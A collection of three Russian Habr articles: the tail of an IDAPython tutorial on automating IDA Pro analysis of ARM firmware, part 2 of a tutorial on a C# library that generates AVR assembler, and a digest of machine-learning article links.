if idc.get_operand_type(ea, 1) in (idc.o_imm, idc.o_mem):
res = "0x%x" % idc.get_operand_value(ea, 1)
else:
res = idc.print_operand(ea, 1)
return res
def set_comment_by_args(func_ea, nargs):
""" Добавление комментария к вызову функции """
for ea in idautils.CodeRefsTo(func_ea, flow=0):
func_args = []
for i in range(0, nargs):
arg = get_function_arg(ea, i)
func_args.append(arg)
args = ', '.join(a for a in func_args)
comment = "(%s)" % args
idc.set_cmt(ea, comment, 0)
if __name__ == '__main__':
set_comment_by_args(MEMCPY, 3)
```
После выполнения кода комментарии будут отображаться в окне кросс-ссылок:
0x03. Получение аргумента функции
---------------------------------
Итак, для создания комментария в месте вызова функции мы сделали функцию `get_function_arg`:
```
def get_function_arg(ea, narg):
"""Поиск n-го аргумента функции (нумерация с нуля)"""
while True:
ea = idc.prev_head(ea)
if idc.get_operand_value(ea, 0) == narg:
break
if idc.get_operand_type(ea, 1) in (idc.o_imm, idc.o_mem):
res = "0x%x" % idc.get_operand_value(ea, 1)
else:
res = idc.print_operand(ea, 1)
return res
```
Важно напомнить, что этот вариант доступа к аргументу функции подходит для архитектуры, где аргументы передаются через регистры. Если работа ведётся в рамках архитектуры x86, то в большинстве случаев аргументы передаются в функцию через стек. Тогда для получения n-го аргумента из стека нужно посчитать инструкции `push` перед вызовом функции:
```
def get_function_arg_value(ea, narg):
"""
Поиск n-го аргумента функции (нумерация с нуля).
Аргументы передаются через стек.
"""
i = 0
while True:
ea = idc.prev_head(ea)
if idc.print_insn_mnem(ea) == "push":
if i == narg: break
i += 1
res = idc.get_operand_value(ea, 0)
return res
```
0x04. Переименование функции по строке лога
-------------------------------------------
Рассмотрим часто встречающуюся задачу – переименовать функцию по информации из строки лога (такое может быть, например, при использовании функции *assert*). Для тренировки возьмем [изменённую прошивку Носорога](https://github.com/inforion/smartrhino-quest-2018/releases/download/v1.0/rhino_fw42k6_stripped.elf) без информации об именах функций. При анализе имеющейся текстовой информации в глаза бросаются строки "sendMsg error %s", "recvMsg error" и "freeMsg error".
В этом файле других таких строк нет, но давайте представим, что их слишком много, чтобы переименовывать функции вручную. Дабы облегчить себе работу, можно написать скрипт для автоматического переименования функций.
Если провести дальнейший анализ, то можно установить, что все эти строки передаются в качестве первого аргумента в функцию `sub_8006690`:
Переименуем ее в `x_printf`.
В строке по адресу `0x08005034` в регистр R0 помещается адрес строки "sendMsg error %s\r\n". Здесь стоит обратить внимание вот на что: если выполнить запрос значения второго операнда в этой строке, то мы получим адрес `0x08005040`:
```
Python>"%08x" % get_operand_value(here(), 1)
08005040
```
Связано это с особенностями архитектуры ARM и параметрами при сборке прошивки:
* длина инструкции фиксирована (в данном случае – 2 байта);
* чтобы загрузить 32-битное значение в регистр, само значение записывается ниже кода функции, а в инструкции используется короткое смещение относительно счетчика команд (PC).
IDA учитывает эти особенности, анализирует код и смещение, и автоматически подставляет в код ссылку на строку.
Учитывая всё это, алгоритм переименования функций будет таким:
1. Получить все кодовые ссылки на функцию `x_printf` функцией `idautils.CodeRefsTo`
2. Получить значение первого аргумента функции (регистр *R0*) при помощи функции `idc.get_operand_value` (воспользуемся слегка изменённой функцией `get_function_arg`, которую реализовали ранее).
3. Получить адрес строки функцией `idc.get_wide_dword`.
4. Получить содержимое строки функцией `idc.get_strlit_contents`.
5. Проверить, что строка имеет нужный формат.
6. "Вытащить" из строки имя функции и переименовать функцию, используя `idc.set_name`.
В итоге получим скрипт:
```
# coding: utf-8
import idautils
PRINTF = 0x08006690
def get_function_arg(ea, narg):
"""Найти n-й аргумент функции"""
while True:
ea = idc.prev_head(ea)
if idc.get_operand_value(ea, 0) == narg:
break
if idc.get_operand_type(ea, 1) == idc.o_mem:
res = idc.get_operand_value(ea, 1)
else:
res = idc.BADADDR
return res
def get_func_name(str_log):
"""Получить из строки лога имя функции"""
words = str_log.split(' ')
if len(words) > 1 and words[1].startswith("error"):
return words[0]
else:
return ""
def rename_by_log_str(log_func):
"""Переименовать функции, которые вызывают log_func со строкой логирования"""
for ea in idautils.CodeRefsTo(log_func, 0):
arg = get_function_arg(ea, 0)
if arg == idc.BADADDR:
continue
str_addr = idc.get_wide_dword(arg)
str_log = idc.get_strlit_contents(str_addr)
func_name = get_func_name(str_log)
if func_name:
print("0x%08x - 0x%08x - %s" % (arg, str_addr, func_name))
if __name__ == '__main__':
rename_by_log_str(PRINTF)
```
Поскольку строка лога в разных приложениях может иметь разный формат, то разумно вынести в отдельную функцию (в нашем случае – `get_func_name`) проверку формата строки и получение имени функции.
0x05. Раскраска кода и данных
-----------------------------
IDA предоставляет функции для работы с цветом фона в окне листинга. Изменение цвета делает код наглядней, и, следовательно, упрощает работу с ним. Например, если изменить цвет фона инструкций, выполненных в режиме отладки, то будет легче понять структуру кода со множеством ветвлений.
Рассмотрим простой пример – установим для кода и данных разные цвета фона.
Основные функции для работы с цветом фона:
* `idc.get_color(ea, what)` – получить цвет фона элемента;
* `idc.set_color(ea, what, color)` – установить цвет фона элемента;
+ цвет представляется моделью RGB и задаётся hex-числом в формате **0xBBGGRR** (голубой-зелёный-красный)
+ аргумент `what` задаёт *что* раскрашивать:
- `idc.CIC_ITEM = 1` – отдельная строка листинга;
- `idc.CIC_FUNC = 2` – полностью функция;
- `idc.CIC_SEGM = 3` – полностью сегмент.
Таким образом, код
```
for i, ea in enumerate(xrange(0x08005196, 0x080051AE, 2)):
idc.set_color(ea, CIC_ITEM, 0x0f << (2 * i))
```
раскрасит строки листинга в диапазоне от `0x08005196` до `0x080051AE` в разные цвета:
Как упоминалось выше, при работе с ARM-кодом можно увидеть, что ниже кода функции находятся глобальные адреса объектов, если таковые используются в данной функции:
**Определим задачу**: установить в кодовых сегментах разный цвет для кода и данных.
Для решения задачи нужно выполнить следующие шаги:
1. Получить список сегментов. Для этого воспользуемся генератором `idautils.Segments()`, который возвращает стартовые адреса сегментов.
2. Из всех сегментов получить только сегменты с кодом. Для этого воспользуемся функцией `idc.get_segm_attr(segm, attr)`, которая возвращает атрибут сегмента. Нас интересует тип сегмента `SEG_CODE` (атрибут — `SEGATTR_TYPE`) .
3. Пройти по всем элементам каждого сегмента. Тут воспользуемся генератором `idautils.Heads(start, end)`, который возвращает начальные адреса элементов (инструкций, данных) в интервале адресов от `start` до `end`.
4. С помощью функций `idc.get_full_flags(ea)` и `is_code(flags)` проверить, содержится ли код в выбранном адресе `ea`.
5. Выполнить раскрашивание сегмента.
Этот алгоритм можно представить следующим кодом:
```
BLUE = 0xF2D0AF
PINK = 0xAFD0F2
def colored_code():
"""Раскрасить код и данные разными цветами в сегментах кода"""
code_segmnets = filter(lambda segm: \
idc.get_segm_attr(segm, SEGATTR_TYPE) == SEG_CODE,\
idautils.Segments())
for segm in code_segmnets:
end = idc.get_segm_end(segm)
for ea in idautils.Heads(segm, end):
flags = idc.get_full_flags(ea)
if idc.is_code(flags):
idc.set_color(ea, CIC_ITEM, BLUE)
else:
idc.set_color(ea, CIC_ITEM, PINK)
```
### Примечание
Обратите внимание, что функция `is_code(flags)` принимает **битовое поле флагов**, а не адрес. Для получения флагов адреса необходимо использовать функцию `get_full_flags(ea)`.
После выполнения функции `colored_code` сегменты кода примут вид:
Итак, в этом материале мы сперва познакомились с инструментом IDAPython и написали несколько несложных функций, а затем научились перебирать сегменты и элементы кода (функции `idautils.Segments` и `idautils.Heads`), раскрашивать код (`idc.set_color`), а также запрашивать содержимое строки (`idc.get_strlit_contents`) и числа (`idc.get_wide_dword`).
### Ссылки
* [The Beginner's Guide to IDAPython by Alexander Hanel](https://leanpub.com/IDAPython-Book) (актуальная версия на момент написания статьи v.5.0, API для IDA версия 7.x)
* [IDA + Python = IDAPython](https://xakep.ru/2011/06/23/55780/) (используется API для IDA версий 6.x)
* Статьи [Using IDAPython to Make Your Life Easier](https://unit42.paloaltonetworks.com/tag/idapython/) в блоге Palo Alto Networks (используется API для IDA версий 6.x)
* Вопросы-ответы по IDAPython на [Reverse Engineering StackExchange](https://reverseengineering.stackexchange.com/questions/tagged/idapython)
* [Шпаргалка по IDAPython](https://github.com/inforion/idapython-cheatsheet) | https://habr.com/ru/post/499382/ | null | ru | null |
# Библиотека генератора ассемблерного кода для микроконтроллеров AVR. Часть 2
[← Часть 1. Первое знакомство](https://habr.com/ru/post/462409/)
[Часть 3. Косвенная адресация и управление потоком исполнения →](https://habr.com/ru/post/463123/)
Библиотека генератора ассемблерного кода для микроконтроллеров AVR
------------------------------------------------------------------
### Часть 2. Начало работы
Как и планировалось, в этой части рассмотрим более подробно особенности программирования с использованием библиотеки NanoRTOS. Те, кто начал чтение с этого поста, могут ознакомиться с общим описанием и возможностями библиотеки в [предыдущей статье](https://habr.com/ru/post/462409). В силу ограниченности планируемого объема публикации предполагается, что уважаемый читатель хотя бы в минимальном объеме знаком с программированием на C#, а так же имеет представление об архитектуре и программировании на языке ассемблер для контроллеров AVR серии Mega.
Изучение любой технологии лучше всего совмещать с выполнением примеров, поэтому предлагаю загрузить с <https://drive.google.com/open?id=1FfBBpxlJkWC027ikYpn6NXbOGp7DS-5B> саму библиотеку и попробовать ее подключить к проекту консольного приложения. В случае успеха, можно смело двигаться дальше. В качестве оболочки для выполнения примеров можно использовать любое приложение C# или проект UnitTest. Мне лично больше нравится последнее, так как позволяет хранить в одном месте несколько разных примеров и выполнять их по мере необходимости. В любом случае для экономии места в листинги будет включаться только сам текст примера.
Работа с библиотекой всегда должна начинаться с объявления типа микроконтроллера. Так как параметры и набор периферийных устройств зависит от типа контроллера, выбор конкретного контроллера влияет на формирование ассемблерного кода. Строка объявления контроллера для которого пишется программа выглядит следующим образом
```
var m = new Mega328();
```
Далее могут следовать дополнительные настройки микроконтроллера, такие, как параметры тактирования или назначение системных функций для выводов. Например, разрешение использовать аппаратный сброс исключает использование вывода в качестве порта. Все параметры контроллера имеют значения по умолчанию, и в примерах мы будем их опускать, кроме тех случаев, когда это важно, но в реальных проектах я советую их всегда устанавливать. Например, настройка тактирования может выглядеть следующим образом
```
m.FCLK = 16000000;
m.CKDIV8 = false;
```
Эта настройка означает, что микроконтроллер тактируется кварцевым резонатором или внешним источником с частотой 16MHz, а предделитель частоты для периферийных устройств выключен.
За вывод результатов работы отвечает функция *Text* статического класса *AVRASM*. Эта фунция всегда будет вызываться в конце кода для вывода результата в виде ассемблера. Назначенный ранее экземпляр класса контроллера, функция получает в виде параметра. Таким образом простейший каркас программы для работы с библиотекой приобретает следующий вид
```
var m = new Mega328(); // Объявляем экземпляр класса микроконтроллера
// Здесь мы размещаем настройки микроконтроллера
// Здесь мы размещаем тело программы генерации кода для микроконтроллера
var t = AVRASM.Text(m); //присваиваем результат строковой переменной t
```
Если мы попробуем запустить программу, она должна успешно выполниться, но при этом не создаст никакого кода. При всей бесполезности результата, это тем не менее дает основание сделать вывод, что библиотека не генерит никакого оберточного кода.
Пустую программу мы уже научились создавать. Теперь попробуем создать в ней какой-нибудь код. Начнем с самого примитивного. Посмотрим как можно решить задачу инкремента восьмибитной переменной, расположенной в произвольной ячейке РОН. С точки зрения ассемблера это команда *inc [register]* . Вставим в тело программы нашей заготовки следующие строки
```
var r = m.REG();
r++;
```
Назначение команд вполне очевидно. Первая команда связывает переменную *r* с одним из регистров процессора. Вторая команда говорит о необходимости инкремента этой переменной. После выполнения получаем первый результат выполнения кода.
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
inc R0000
.DSEG
```
Взглянем поподробнее что в результате получилось. Первые четыре команды — инициализация указателя стека. Далее — определение имени переменной. Ну и наконец наш *inc*, ради которого все и затевалось. Ничего лишнего, за исключением инициализации стека не появилось. Вопрос, который может возникнуть, глядя в этот код — что за *R0000*? У нас же переменная названа *r*? В C# программе программист может вполне осознано и легально использовать одни и те же имена, пользуясь областями видимости. С точки зрения ассемблера — все метки и определения должны быть уникальными. Чтобы не заставлять программиста следить за уникальностью имен, по умолчанию имена генерятся системой. Однако существует ситуация, когда в целях отладки все-таки хочется перенести в выходной код осознанное имя из программы, для того, чтобы его можно было легко найти. Не страшно. Заменим *m.REG()* на *m.REG(”r”)* и еще раз запустим код. В результате увидим следующее
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF r = r20
inc r
.DSEG
```
Итак, с именованием регистров разобрались. Теперь разберемся, почему вдруг регистры начали назначаться с 20, а не с 0? Для того, чтобы ответить на этот вопрос вспомним, что начиная с 16, у регистров появляется замечательная возможность инициализировать их константами. А так, как эта возможность весьма востребована, мы и начинаем раздачу с верхней половины, чтобы увеличить возможности оптимизации. Тогда все равно не понятно — почему с20 а не с 16? Причина в том, что трансляция ряда команд в ассемблерный код невозможна без использования ячеек временного хранения. Вот для этих целей мы и выделили 4 ячейки с 16 по 19. Это не означает, что они стали абсолютно недоступными для программиста. Просто доступ к ним организован немного иначе, чтобы программист отдавал себе отчет о возможных ограничениях их использования и действовал осознанно. Уберем из кода определение регистра *r* и заменим следующую за ним строку на
*m.TempL++;*
Посмотрим на результат
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
inc TempL
.DSEG
```
Здесь, видимо, следует отметить, что выходной ассемблер требует для правильной интерпретации подключения файла с определениями и макросами Common.inc из пакета разработки. В нем собственно и прописаны все необходимые макросы и определения, в том числе и соответствия имен для ячеек временного хранения. А именно TempL = r16, TempH =r17, TempQL=r18,TempQH=r19. В данном случае мы не задействовали ни одной команды, которые бы использовали для работы ячейки временного хранения, поэтому наше решение использовать в операции TempL вполне допустимо. А как следует поступить, если мы абсолютно уверенны в том, что никаких присвоений констант нашей переменной не светит и мы не хотим на нее тратить драгоценные ячейки верхней половины? Вернем наше определение в исходный код, изменив его на *var r = m.REGL("r");* и оценим результат труда
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF r = r4
inc r
.DSEG
```
Цель достигнута. Нам удалось объяснить библиотеке где по нашему мнению должна размещаться переменная. Поехали дальше. Посмотрим, что произойдет, если объявить сразу несколько переменных. Скопируем наше определение и действия еще пару раз. Для разнообразия одну новую переменную обнулим, а значение другой уменьшим на 1. В результате должно получится нечто подобное.
```
var m = new Mega328();
var r = m.REGL("r");
r++;
var rr = m.REGL("rr");
rr--;
var rrr = m.REGL("rrr");
rrr.Clear();
var t = AVRASM.Text(m);
Посмотрим результат.
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF r = r4
inc r
.DEF rr = r5
dec rr
.DEF rrr = r6
clr rrr
.DSEG
```
Замечательно. То, что и просили. А теперь посмотрим, как нам освободить регистр для других целей, если он нам больше не нужен. Здесь, к сожалению, пока все руками. Правила C# о границах видимости и автоматическом освобождении переменных при выходе за границу для режима генерации кода пока не работают. Посмотрим как все-таки можно освободить ячейку при необходимости. Добавим в нашу программу всего одну строку и посмотрим на результат.
```
var m = new Mega328();
var r = m.REGL("r");
r++;
var rr = m.REGL("rr");
rr--;
r.Dispose();
var rrr = m.REGL("rrr");
rrr.Clear();
var t = AVRASM.Text(m);
```
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF r = r4
inc r
.DEF rr = r5
dec rr
.UNDEF r
.DEF rrr = r4
clr rrr
.DSEG
```
Нетрудно заметить, что освобожденный нами четвертый регистр стал вновь доступен для использования. С учетом того, что каждое новое объявление переменной захватывает регистр, можно сделать вывод, что при составлении программы нужно вовремя освобождать регистры, если не хочется столкнуться с ситуацией, когда их станет не хватать.
Разбирая примеры, мы попутно уже продемонстрировали, как можно выполнять на регистрах одноадресные операции. Теперь посмотрим как у нас обстоят дела с многоадресными. Архитектура процессора позволяет выполнять максимум двухадресные команды(для особо въедливых — за исключением двух команд, для которых результат размещается в фиксированных регистрах). Это следует понимать таким образом, что первый операнд в операции после ее выполнения будет содержать результат. Для этого вида операций предусмотрен специальный синтаксис *[register1][operation]=[register2]*. Посмотрим как это выглядит на практике. Попробуем объявить и сложить две регистровых переменных.
```
var m = new Mega328();
var op1 = m.REG();
var op2 = m.REG();
op1 += op2;
var t = AVRASM.Text(m);
```
В результате увидим
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
.DEF R0001 = r21
add R0000,R0001
.DSEG
```
Получили то, что и ожидали. Можно самостоятельно поэкспериментировать с операциями -, &, | и убедиться, что результат не хуже.
Всего вышеперечисленного пока явно не достаточно, чтобы написать даже простейшую программу. Дело в том, что мы пока не касались инициализации самих регистров. Архитектура микроконтроллера позволяет инициализировать регистры константой, значением другого регистра, значением ячейки памяти ОЗУ по определенному адресу, значением ячейки памяти ОЗУ по указателю, размещенному в специальной паре регистров, значением ячейки ввода-вывода по определенному адресу, а так же значением ячейки памяти программы по указателю, размещенному в специальной паре регистров. С косвенной адресацией будем разбираться позже, а пока рассмотрим более простые случаи. Напишем и выполним следующую тестовую программу.
```
var m = new Mega328();
var op1 = m.REG();
var op2 = m.REG();
op1.Load(0x10);
op2.Load('s');
op1.Load(op2);
var t = AVRASM.Text(m);
```
Здесь мы объявили и проинициализировали числом и символом две переменных, а затем значение переменной op2 скопировали в ячейку op1. Очевидно, что число должно укладываться в диапазон 0-255, чтобы не возникло ошибки. Результатом будет
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
.DEF R0001 = r21
ldi R0000,16
ldi R0001,'s'
mov R0000,R0001
.DSEG
```
Из примера видно, что для всех перечисленных операций используется одна функция, а библиотека сама формирует правильный набор ассемблерных команд. Как уже неоднократно упоминалось, прямая загрузка данных в регистр командой ldi доступна только для старшей половины регистров. Усложним нашей библиотеке задачу, изменив программу так, чтобы она выделила регистры для переменных из младшей половины.
```
var m = new Mega328();
var op1 = m.REGL();
var op2 = m.REGL();
op1.Load(0x10);
op2.Load('s');
op1.Load(op2);
var t = AVRASM.Text(m);
```
Получим
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r4
.DEF R0001 = r5
ldi TempL,16
mov R0000,TempL
ldi TempL,'s'
mov R0001,TempL
mov R0000,R0001
.DSEG
```
Библиотека справилась и с этой задачей, затратив при этом минимально возможное количество команд. А мы заодно увидели, для чего нам понадобилось выделять регистры временного хранения. Ну и наконец посмотрим как реализована математика для работы с константами. Мы знаем о существовании ассемблерной команды subi для вычитания констатнты из регистра, а теперь попробуем ее описать в терминах библиотеки.
```
var m = new Mega328();
var op1 = m.REG();
op1.Load(0x10);
op1 -= 10;
var t = AVRASM.Text(m);
```
Результатом будет
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
ldi R0000,16
subi R0000,0x0A
.DSEG
```
Получилось. А как поведет себя библиотека, если нет ассемблерной команды, которая бы умела выполнять нужную операцию? Например, если мы захотим не отнять, а прибавить константу. Попробуем и посмотрим
```
var m = new Mega328();
var op1 = m.REG();
op1.Load(0x10);
op1 += 10;
var t = AVRASM.Text(m);
```
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
ldi R0000,16
subi R0000,0xF6
.DSEG
```
Библиотека выкрутилась вычитанием отрицательного значения. Посмотрим, как обстоят дела со сдвигом. Сдвинем значение регистра на 5 вправо.
```
var m = new Mega328();
var op1 = m.REG();
op1.Load(0x10);
op1 >>= 5;
var t = AVRASM.Text(m);
```
Результатом будет
```
RESET: ldi r16, high(RAMEND)
out SPH,r16
ldi r16, low(RAMEND)
out SPL,r16
.DEF R0000 = r20
ldi R0000,16
swap R0000
andi R0000,15
lsr R0000
.DSEG
```
Здесь не все очевидно, зато выполняется на 2 команды быстрее, чем если бы использовалось лобовое решение из пяти команд сдвига.
Итак, в этой статье мы рассмотрели применение библиотеки для работы с регистровой арифметикой. В следующей статье мы продолжим описание работы библиотеки работой с указателями и рассмотрим методы управления потоком исполнения команд (циклы, переходы и т.п.) | https://habr.com/ru/post/462701/ | null | ru | null |
# Дайджест статей машинного обучения и искусственного интеллекта
Хабр, привет.
Отфильтровав большое количество статей, конференций и подписок — собрал для вас все наиболее значимые гайды, статьи и лайфхаки из мира машинного обучения и искусственного интеллекта. Всем приятного чтения!
**1.** Проекты искусственного интеллекта, с которыми можно поиграться уже сегодня. Что вы знаете про искусственный интеллект и машинное обучение? Современный тренд или потенциально мощная сила, способная убивать людей? Эти модные понятия всё чаще на слуху, но далеко не все знают, что же это на самом деле. Пришло время изучить эти технологии с помощью простого и интересного подхода — попробовать искусственный интеллект и нейросети самостоятельно на практике.
→ [Подробнее](https://hackernoon.com/ai-for-fun-awesome-apps-you-can-test-right-now-d5e0174d2273)
**2.** Изучение ИИ, если ты ничего не понимаешь в математике. Может быть, вы хотели бы копать глубже и запустить программу распознавания изображений в TensorFlow или Theano? Возможно, вы офигительный разработчик или системный архитектор и вы очень хорошо знаете компьютеры, но есть только одна маленькая проблема: Вы не понимаете в математике.
→ [Подробнее](https://hackernoon.com/learning-ai-if-you-suck-at-math-8bdfb4b79037)
**3.** Как построить систему модерации сообщений. Системы автоматической модерации обычно встроены в веб-сервисы и приложения, где должно обрабатываться большое количество пользовательских сообщений. Такие системы могут снизить затраты на ручную модерацию и ускорить модерацию, обрабатывая все пользовательские сообщения в режиме реального времени. В этой статье будет обсуждаться разработка системы автоматической модерации с использованием алгоритмов машинного обучения.
→ [Подробнее](https://hackernoon.com/message-moderation-system-ac9472962bf)
**4.** Список инструментов искусственного интеллекта, которые вы можете использовать сегодня — для личного пользования (1/3). За несколько недель я пролистал буквально тысячи сайтов (более 6000 ссылок), чтобы представить вам полный список лучших продуктов ИИ и наиболее перспективных компаний в этой области.
→ [Подробнее](https://medium.com/@Liamiscool/a-list-of-artificial-intelligence-tools-you-can-use-today-for-personal-use-1-3-7f1b60b6c94f)
**5.** Список инструментов искусственного интеллекта, которые вы можете использовать сегодня — для бизнеса (2/3). В этот список входят компании, работающие над продуктами для искусственного интеллекта и машинного обучения, в основном для бизнес-целей, не характерные для какой-либо отрасли.
→ [Подробнее](https://medium.com/@Liamiscool/a-list-of-artificial-intelligence-tools-you-can-use-today-for-businesses-2-3-eea3ac374835)
**6.** Список инструментов искусственного интеллекта, которые вы можете использовать сегодня — для бизнеса (2/3). При создании целостного списка, я обнаружил, что он стал слишком длинным и запутанным, поэтому я решил, что будет проще разбить весь список на 2 части, для удобства восприятия.
→ [Подробнее](https://medium.com/@Liamiscool/a-list-of-artificial-intelligence-tools-you-can-use-today-for-businesses-2-3-continued-21bf14280250)
**7.** Список инструментов искусственного интеллекта, которые вы можете использовать сегодня — для конкретной отрасли (3/3). Последний фрагмент головоломки — часть 3. Вот взгляд на отраслевые компании, которые используют различные формы искусственного интеллекта для решения действительно интересных и специфических задач для разных рынков.
→ [Подробнее](https://medium.com/@Liamiscool/a-list-of-artificial-intelligence-tools-you-can-use-today-for-industry-specific-3-3-5e16c68da697)
**8.** Работа с данными по-новому: Pandas вместо SQL. Раньше SQL как инструмента было достаточно для исследовательского анализа: быстрого поиска данных и предварительного отчёта по ним. Сейчас данные бывают разных форм и не всегда под ними подразумевают «реляционные базы данных». Это могут быть CSV-файлы, простой текст, Parquet, HDF5 и многое другое. Здесь вам и поможет библиотека Pandas.
→ [Подробнее](https://medium.com/jbennetcodes/how-to-rewrite-your-sql-queries-in-pandas-and-more-149d341fc53e)
**9.** Лучшие датасеты для машинного обучения и анализа данных. Для анализа данных и машинного обучения требуется много данных. Можно было бы собрать их самостоятельно, но это утомительно. Здесь нам на помощь приходят готовые датасеты в самых разных категориях.
→ [Подробнее](https://medium.com/towards-artificial-intelligence/the-50-best-public-datasets-for-machine-learning-d80e9f030279)
**10.** Здравоохранение и блокчейн — интеллектуальные контракты, страхование и цепочки поставок. Всё с намеком на AI. К этому пришли умные контракты, программируемые операторы `if/then`, которые можно было бы реализовать в сети блокчейна. Это позволит быстро и эффективно рассчитывать и выполнять решения с сохраненными данными без необходимости человеческой обработки.
→ [Подробнее](https://hackernoon.com/healthcare-and-blockchain-of-smart-contracts-insurance-and-supply-chain-with-a-hint-of-ai-bfbb4234b93)
**11.** Как разработать отличные навыки для голосовых помощников в 2019 году. Примите правильные методики, чтобы начать разработку своего следующего навыка, рассмотрев несколько ключевых элементов голосовых интерфейсов и пользовательского опыта.
→ [Подробнее](https://hackernoon.com/how-to-design-great-skills-for-voice-assistants-in-2019-1dbd72990241)
**12.** Почему, когда и как использовать многопоточность и многопроцессорность Python. Цель этого руководства — объяснить, почему в Python необходимы многопоточность и многопроцессорность, когда использовать один поверх другого и как использовать их в своих программах.
→ [Подробнее](https://medium.com/towards-artificial-intelligence/the-why-when-and-how-of-using-python-multi-threading-and-multi-processing-afd1b8a8ecca)
**13.** Сквозная модель анализа и прогнозирования данных с использованием Python в табличных данных SAP HANA. Этот блог помогает подключиться к базе данных SAP HANA (версия 1.0 SPS12), а затем извлечь данные из таблицы HANA / просмотреть и проанализировать данные с помощью библиотеки Python Pandas.
→ [Подробнее](https://medium.com/towards-artificial-intelligence/end-to-end-model-of-data-analysis-prediction-using-python-on-sap-hana-table-data-800614d956ca)
**14.** Демистификация архитектуры сетей с кратковременной памятью (LSTM). Мы используем долговременную оперативную память (LSTM) и Gated Recurrent Unit (GRU), которые являются очень эффективными решениями для решения проблемы исчезающего градиента, и они позволяют нейронной сети захватывать гораздо более дальние зависимости.
→ [Подробнее](https://medium.com/towards-artificial-intelligence/demystifying-the-architecture-of-long-short-term-memory-lstm-networks-38163ade5aa2)
**15.** Обнаружение автомобиля в режиме реального времени с частотой 50 кадров в секунду на графическом процессоре AMD. Здесь мы фокусируемся на моделях обнаружения объектов глубокого обучения из-за их превосходной точности.
→ [Подробнее](https://medium.com/towards-artificial-intelligence/real-time-hd-vehicle-detection-with-amd-rocm-e9c2eea73852)
**16.** Обзор методов классификации в машинном обучении с помощью Scikit-Learn. Для машинного обучения на Python написано очень много библиотек. Сегодня мы рассмотрим одну из самых популярных — Scikit-Learn. Scikit-Learn упрощает процесс создания классификатора и помогает более чётко выделить концепции машинного обучения, реализуя их с помощью понятной, хорошо документированной и надёжной библиотекой.
→ [Подробнее](https://stackabuse.com/overview-of-classification-methods-in-python-with-scikit-learn/)
**17.** Введение в форензику. Компьютерная криминалистика (форензика) — прикладная наука о раскрытии преступлений, связанных с компьютерной информацией, об исследовании цифровых доказательств, методах поиска, получения и закрепления таких доказательств.
→ [Подробнее](https://dev.to/terceranexus6/introduction-to-computer-forensics-4md1)
**18.** Искусственный интеллект на практике: создаём экспертную систему для приготовления шашлыка. Выглядит это примерно так: система задаёт ряд вопросов, причём последующие вопросы зависят от полученных ответов. Затем система делает вывод и показывает всю цепочку рассуждений, которая к нему привела. То есть знания и опыт эксперта тиражируются, а что не менее важно — тиражируется сам ход его рассуждений.
→ [Подробнее](https://tproger.ru/articles/expert-systems/)
**19.** Реализация и разбор алгоритма «случайный лес» на Python. В этой статье мы научимся создать и использовать алгоритм «случайный лес» (Random Forest) на Python. Помимо непосредственного изучения кода, мы постараемся понять принципы работы модели. Этот алгоритм составлен из множества деревьев решений, поэтому сначала мы разберёмся, как одно такое дерево решает проблему классификации. После этого с помощью алгоритма решим проблему, используя набор реальных научных данных. Весь код, используемый в этой статье, доступен на GitHub в Jupyter Notebook.
→ [Подробнее](https://towardsdatascience.com/an-implementation-and-explanation-of-the-random-forest-in-python-77bf308a9b76)
**20.** Human in the Loop: как сократить ресурсы на разметку данных. Использование глубокого обучения и больших размеченных данных дает возможность точно моделировать спектр различных явлений. Разметка данных — ресурсоемкий процесс, и не всегда размеченные данные находятся в открытом доступе.
→ [Подробнее](http://oatml.cs.ox.ac.uk/blog/2019/06/24/batchbald.html)
**21.** Симпсоны получили визуализацию данных. Естественно, когда я обнаружил, что могу загрузить все сценарии эпизодов, которые я когда-либо мог хотеть (через kaggle), я знал, что я должен был сделать. Имея доступ ко всему, что когда-либо говорил Гомер, я не удержался от того, чтобы надеть свою шляпу для исследователя данных, чтобы высказать некоторые идеи одного из самых ярких анимационных телевизионных шоу последних трех десятилетий.
→ [Подробнее](https://towardsdatascience.com/the-simpsons-meets-data-visualization-ef8ef0819d13)
**22.** Как новички могут создавать классные визуализации данных? Для аналитиков данных визуализация — это всегда вневременное исследование, поскольку оно раскрывает нам законы, лежащие в основе данных.
→ [Подробнее](https://towardsdatascience.com/how-can-beginners-design-cool-data-visualizations-d413ee288671)
**23.** Настройка автоматических оповещений AWS Lambda Data Pipeline.
→ [Подробнее](https://towardsdatascience.com/monitoring-your-aws-lambda-pipeline-with-automatic-notifications-fe4e06fd3f58)
**24.** Всеобъемлющее современное учебное пособие по распознаванию изображений. Быстрая мультиклассовая классификация изображений с использованием библиотек fastai и PyTorch
→ [Подробнее](https://towardsdatascience.com/a-comprehensive-state-of-the-art-image-recognition-tutorial-c34c544d0b4)
**25.** Deep Domain адаптация в компьютерном зрении. За последнее десятилетие область компьютерного зрения достигла огромных успехов. Этот прогресс в основном связан с неоспоримой эффективностью сверточных нейронных сетей (CNN). CNN позволяют делать очень точные прогнозы, если они обучаются с использованием высококачественных аннотированных данных обучения.
→ [Подробнее](https://towardsdatascience.com/deep-domain-adaptation-in-computer-vision-8da398d3167f)
**26.** Оптимизация нейронной сети. Покрытие оптимизаторов, импульс, адаптивные скорости обучения, нормализация партии и многое другое.
→ [Подробнее](https://towardsdatascience.com/neural-network-optimization-7ca72d4db3e0)
**27.** Алгоритмические решения алгоритмического смещения: техническое руководство. Я хочу поговорить о технических подходах к смягчению алгоритмического уклона.
